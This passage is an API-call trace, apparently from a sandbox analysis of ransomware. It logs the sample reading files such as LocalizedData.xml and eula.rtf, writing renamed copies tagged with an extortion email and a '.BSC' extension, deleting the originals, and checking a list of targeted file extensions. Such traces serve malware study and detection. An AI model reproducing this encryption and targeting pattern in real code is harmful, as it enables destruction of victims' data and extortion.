hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.112] SetEndOfFile (hFile=0x334) returned 1 [0103.112] CloseHandle (hObject=0x334) returned 1 [0103.115] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.115] SetEndOfFile (hFile=0x340) returned 1 [0103.117] CloseHandle (hObject=0x340) returned 1 [0103.117] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.118] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0103.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.118] lstrlenW (lpString=".doc") returned 4 [0103.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.118] lstrlenW (lpString=".docx") returned 5 [0103.118] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.118] lstrlenW (lpString=".pdf") returned 4 [0103.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.118] lstrlenW (lpString=".xls") returned 4 [0103.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.118] lstrlenW (lpString=".xlsx") returned 5 [0103.118] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.118] lstrlenW (lpString=".ppt") returned 4 [0103.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.118] lstrlenW (lpString=".zip") returned 4 [0103.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.118] lstrlenW (lpString=".rar") returned 4 [0103.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.119] lstrlenW (lpString=".bz2") returned 4 [0103.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.119] lstrlenW (lpString=".7z") returned 3 [0103.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.119] lstrlenW (lpString=".dbf") returned 4 [0103.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.119] lstrlenW (lpString=".1cd") returned 4 [0103.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.120] lstrlenW (lpString=".jpg") returned 4 [0103.120] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.120] lstrlenW (lpString=".doc") returned 4 [0103.120] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.120] lstrlenW (lpString=".docx") returned 5 [0103.120] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.120] lstrlenW (lpString=".pdf") returned 4 [0103.120] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.120] lstrlenW (lpString=".xls") returned 4 [0103.120] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.120] lstrlenW (lpString=".xlsx") returned 5 [0103.120] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.120] lstrlenW (lpString=".ppt") returned 4 [0103.120] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.120] lstrlenW (lpString=".zip") returned 4 [0103.120] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.120] lstrlenW (lpString=".rar") returned 4 [0103.120] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.120] lstrlenW (lpString=".bz2") returned 4 [0103.120] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.121] lstrlenW (lpString=".7z") returned 3 [0103.121] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.121] lstrlenW (lpString=".dbf") returned 4 [0103.121] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.121] lstrlenW (lpString=".1cd") returned 4 [0103.121] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0103.121] lstrlenW (lpString=".jpg") returned 4 [0103.121] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.121] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.121] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.121] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.121] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=81482) returned 1 [0103.121] CloseHandle (hObject=0x340) returned 1 [0103.121] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0103.122] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.122] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.122] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.122] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.122] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.122] GetLastError () returned 0x0 [0103.122] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0103.289] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x13e50, lpOverlapped=0x0) returned 1 [0103.291] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.291] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.291] SetEndOfFile (hFile=0x334) returned 1 [0103.291] CloseHandle (hObject=0x334) returned 1 [0103.293] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.294] SetEndOfFile (hFile=0x340) returned 1 [0103.295] CloseHandle (hObject=0x340) returned 1 [0103.295] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.295] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0103.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.296] lstrlenW (lpString=".doc") returned 4 [0103.296] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString=".docx") returned 5 [0103.296] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.296] lstrlenW (lpString=".pdf") returned 4 [0103.296] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString=".xls") returned 4 [0103.296] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString=".xlsx") returned 5 [0103.296] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.296] lstrlenW (lpString=".ppt") returned 4 [0103.296] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.296] lstrlenW (lpString=".zip") returned 4 [0103.296] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.296] lstrlenW (lpString=".rar") returned 4 [0103.296] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString=".bz2") returned 4 [0103.296] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.297] lstrlenW (lpString=".7z") returned 3 [0103.297] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.297] lstrlenW (lpString=".dbf") returned 4 [0103.297] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.297] lstrlenW (lpString=".1cd") returned 4 [0103.297] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.297] lstrlenW (lpString=".jpg") returned 4 [0103.297] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.297] lstrlenW (lpString=".doc") returned 4 [0103.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.297] lstrlenW (lpString=".docx") returned 5 [0103.297] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.297] lstrlenW (lpString=".pdf") returned 4 [0103.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.297] lstrlenW (lpString=".xls") returned 4 [0103.297] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.297] lstrlenW (lpString=".xlsx") returned 5 [0103.297] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.297] lstrlenW (lpString=".ppt") returned 4 [0103.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.298] lstrlenW (lpString=".zip") returned 4 [0103.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.298] lstrlenW (lpString=".rar") returned 4 [0103.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.298] lstrlenW (lpString=".bz2") returned 4 [0103.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.298] lstrlenW (lpString=".7z") returned 3 [0103.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.298] lstrlenW (lpString=".dbf") returned 4 [0103.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.298] lstrlenW (lpString=".1cd") returned 4 [0103.298] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0103.298] lstrlenW (lpString=".jpg") returned 4 [0103.298] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.298] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.298] lstrlenW (lpString="eula.rtf") returned 8 [0103.299] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.299] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=5827) returned 1 [0103.299] CloseHandle (hObject=0x340) returned 1 [0103.299] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0103.299] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.299] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.299] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.299] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.299] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.300] GetLastError () returned 0x0 [0103.300] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x16c3, lpOverlapped=0x0) returned 1 [0103.373] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0103.374] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.374] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.374] SetEndOfFile (hFile=0x334) returned 1 [0103.375] CloseHandle (hObject=0x334) returned 1 [0103.375] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.375] SetEndOfFile (hFile=0x340) returned 1 [0103.376] CloseHandle (hObject=0x340) returned 1 [0103.376] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.377] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0103.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.377] lstrlenW (lpString=".doc") returned 4 [0103.377] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.377] lstrlenW (lpString=".docx") returned 5 [0103.377] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.377] lstrlenW (lpString=".pdf") returned 4 [0103.377] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.377] lstrlenW (lpString=".xls") returned 4 [0103.377] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.377] lstrlenW (lpString=".xlsx") returned 5 [0103.377] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.378] lstrlenW (lpString=".ppt") returned 4 [0103.378] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.378] lstrlenW (lpString=".zip") returned 4 [0103.378] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.378] lstrlenW (lpString=".rar") returned 4 [0103.378] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.378] lstrlenW (lpString=".bz2") returned 4 [0103.378] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.378] lstrlenW (lpString=".7z") returned 3 [0103.378] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.378] lstrlenW (lpString=".dbf") returned 4 [0103.378] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.378] lstrlenW (lpString=".1cd") returned 4 [0103.378] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.378] lstrlenW (lpString=".jpg") returned 4 [0103.378] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.378] lstrlenW (lpString=".doc") returned 4 [0103.378] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.378] lstrlenW (lpString=".docx") returned 5 [0103.379] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.379] lstrlenW (lpString=".pdf") returned 4 [0103.379] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.379] lstrlenW (lpString=".xls") returned 4 [0103.379] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.379] lstrlenW (lpString=".xlsx") returned 5 [0103.379] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.379] lstrlenW (lpString=".ppt") returned 4 [0103.379] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.379] lstrlenW (lpString=".zip") returned 4 [0103.379] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.379] lstrlenW (lpString=".rar") returned 4 [0103.379] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.379] lstrlenW (lpString=".bz2") returned 4 [0103.379] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.379] lstrlenW (lpString=".7z") returned 3 [0103.379] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.380] lstrlenW (lpString=".dbf") returned 4 [0103.380] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.380] lstrlenW (lpString=".1cd") returned 4 [0103.380] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.380] lstrlenW (lpString=".jpg") returned 4 [0103.380] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.380] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.380] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.380] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.625] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=80254) returned 1 [0103.625] CloseHandle (hObject=0x33c) returned 1 [0103.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0103.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.625] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.625] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.626] GetLastError () returned 0x0 [0103.626] ReadFile (in: hFile=0x33c, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x1397e, lpOverlapped=0x0) returned 1 [0103.737] WriteFile (in: hFile=0x344, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x13980, lpOverlapped=0x0) returned 1 [0103.740] ReadFile (in: hFile=0x33c, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.740] WriteFile (in: hFile=0x344, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.741] SetEndOfFile (hFile=0x344) returned 1 [0103.741] CloseHandle (hObject=0x344) returned 1 [0103.743] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.743] SetEndOfFile (hFile=0x33c) returned 1 [0103.745] CloseHandle (hObject=0x33c) returned 1 [0103.745] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.745] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0103.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.746] lstrlenW (lpString=".doc") returned 4 [0103.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.746] lstrlenW (lpString=".docx") returned 5 [0103.746] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.746] lstrlenW (lpString=".pdf") returned 4 [0103.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.746] lstrlenW (lpString=".xls") returned 4 [0103.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.746] lstrlenW (lpString=".xlsx") returned 5 [0103.746] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.746] lstrlenW (lpString=".ppt") returned 4 [0103.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.746] lstrlenW (lpString=".zip") returned 4 [0103.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.746] lstrlenW (lpString=".rar") returned 4 [0103.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.747] lstrlenW (lpString=".bz2") returned 4 [0103.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.747] lstrlenW (lpString=".7z") returned 3 [0103.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.747] lstrlenW (lpString=".dbf") returned 4 [0103.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.747] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0103.747] lstrlenW (lpString=".1cd") returned 4 [0103.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.747] 